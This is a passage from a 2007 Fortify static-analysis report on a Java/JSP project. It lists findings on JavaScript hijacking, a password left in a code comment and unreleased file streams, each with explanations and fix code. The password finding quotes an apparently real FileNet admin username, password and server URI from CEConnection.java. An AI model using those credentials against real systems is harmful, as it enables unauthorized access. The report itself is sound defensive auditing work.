JavaScript hijacking, which allows an unauthorized attacker to read confidential data froma vulnerable application.

Sink: zapatec.js:312 AssignmentStatement()310 if(zapatecTransport.isBusy(oArg)){oContr.removeChild(oContr.firstChild);}};Zapatec.Transpor

t.fetch=function(oArg){if(oArg==null||typeof oArg!='object'){return null;}

311 if(!oArg.url){return null;}

312 if(!oArg.method){oArg.method='GET';}

313 if(typeof oArg.async=='undefined'){oArg.async=true;}

314 if(!oArg.contentType&&oArg.method.toUpperCase()=='POST'){oArg.contentType='application/x-www-form-urlencoded';}

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 34 of 37

Page 35: IAFService Report New2

Category: Password Management: Password in Comment (1 Issues)

0.0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0

Number of Issues

<Unaudited>

Not an Issue

Reliability Issue

Unknown

Suspicious

Exploitable

Ana

lysi

s

Abstract:Hardcoded passwords can compromise system security in a way that cannot be easily remedied.

Explanation:

It is never a good idea to hardcode a password. Not only does hardcoding a password allow all of the project's developers to viewthe password, it also makes fixing the problem extremely difficult. Once the code is in production, the password cannot bechanged without patching the software. If the account protected by the password is compromised, the owners of the system willbe forced to choose between security and availability.

Example: The following comment specifies the default password to connect to a database:

...

// Default username for database connection is "scott"

// Default password for database connection is "tiger"

...

This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped,there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A deviousemployee with access to this information can use it to break into the system.

Recommendations:Passwords should never be hardcoded and should generally be obfuscated and managed in an external source. Storing passwordsin plaintext anywhere on the system allows anyone with sufficient permissions to read and potentially misuse the password.

CEConnection.java, line 18 (Password Management: Password in Comment)

Folder: InfoKingdom: Security FeaturesAbstract: Hardcoded passwords can compromise system security in a way that cannot be easily

remedied.Sink: CEConnection.java:18 Comment()16 //String uri = "iiop://ecmdemo1:2809/FileNet/Engine";

17 //String username = "p8admin";

18 //String password = "filenet";

19 logger.info("Factory.Connection.getConnection(" + mConfig.getStrURI() + ")...");

20 mConn =

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 35 of 37

Page 36: IAFService Report New2

Category: Unreleased Resource: Streams (1 Issues)

0.0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0

Number of Issues

<Unaudited>

Not an Issue

Reliability Issue

Unknown

Suspicious

Exploitable

Ana

lysi

s

Abstract:The program can potentially fail to release a system resource.

Explanation:

The program can potentially fail to release a system resource.

Resource leaks have at least two common causes:

- Error conditions and other exceptional circumstances.

- Confusion over which part of the program is responsible for releasing the resource.

Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger aresource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.

Example 1: The following method never closes the file handle it opens. The finalize() method for FileInputStream eventuallycalls close(), but there is no guarantee as to how long it will take before the finalize() method will be invoked. In a busyenvironment, this can result in the JVM using up all of its file handles.

private void processFile(String fName) throws FileNotFoundException, IOException

{

FileInputStream fis = new FileInputStream(fName);

int sz;

byte[] byteArray = new byte[BLOCK_SIZE];

while ((sz = fis.read(byteArray)) != -1) {

processBytes(byteArray, sz);

}

}

Example 2: Under normal conditions, the following code executes a database query, processes the results returned by thedatabase, and closes the allocated statement object. But if an exception occurs while executing the SQL or processing the results,the statement object will not be closed. If this happens often enough, the database will run out of available cursors and not beable to execute any more SQL queries.

Statement stmt = conn.createStatement();

ResultSet rs = stmt.executeQuery(CXN_SQL);

harvestResults(rs);

stmt.close();

Recommendations:1. Never rely on finalize() to reclaim resources. In order for an object's finalize() method to be invoked, the garbage collectormust determine that the object is eligible for garbage collection. Because the garbage collector is not required to run unless theJVM is low on memory, there is no guarantee that an object's finalize() method will be invoked in an expedient fashion. Whenthe garbage collector finally does run, it may cause a large number of resources to be reclaimed in a short period of time, whichcan lead to "bursty" performance and lower overall system throughput. This effect becomes more pronounced as the load on thesystem increases.

Finally, if it is possible for a resource reclamation operation to hang (if it requires communicating over a network to a database,for example), then the thread that is executing the finalize() method will hang.

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 36 of 37

Page 37: IAFService Report New2

2. Release resources in a finally block. The code for Example 2 should be rewritten as follows:

public void execCxnSql(Connection conn) {

Statement stmt;

try {

stmt = conn.createStatement();

ResultSet rs = stmt.executeQuery(CXN_SQL);

...

}

finally {

if (stmt != null) {

safeClose(stmt);

}

}

}

public static void safeClose(Statement stmt) {

if (stmt != null) {

try {

stmt.close();

} catch (SQLException e) {

log(e);

}

}

}

This solution uses a helper function to log the exceptions that might occur when trying to close the statement. Presumably thishelper function will be reused whenever a statement needs to be closed.

Also, the execCxnSql method does not initialize the stmt object to null. Instead, it checks to ensure that stmt is not null beforecalling safeClose(). Without the null check, the Java compiler reports that stmt might not be initialized. This choice takesadvantage of Java's ability to detect uninitialized variables. If stmt is initialized to null in a more complex method, cases inwhich stmt is used without being initialized will not be detected by the compiler.

Display.jsp, line 57 (Unreleased Resource: Streams)

Folder: WarningKingdom: Code QualityAbstract: The function _jspService() in Display.jsp sometimes fails to release a system resource

allocated by FileInputStream() on line 57.Sink: Display.jsp:57 new FileInputStream(...)()55 getServletContext().getRealPath("/WEB-INF/WcmApiConfig.properties");

56 /*System.out.println ("Reading (" + wcmApiConfigPath + ")...");*/

57 ceSession.setConfiguration(newFileInputStream(wcmApiConfigPath));

58 /*System.out.println ("Connecting to CE...");*/

59 try {

Fortify Developer Workbook

Copyright 2007 Fortify Software Inc. Page 37 of 37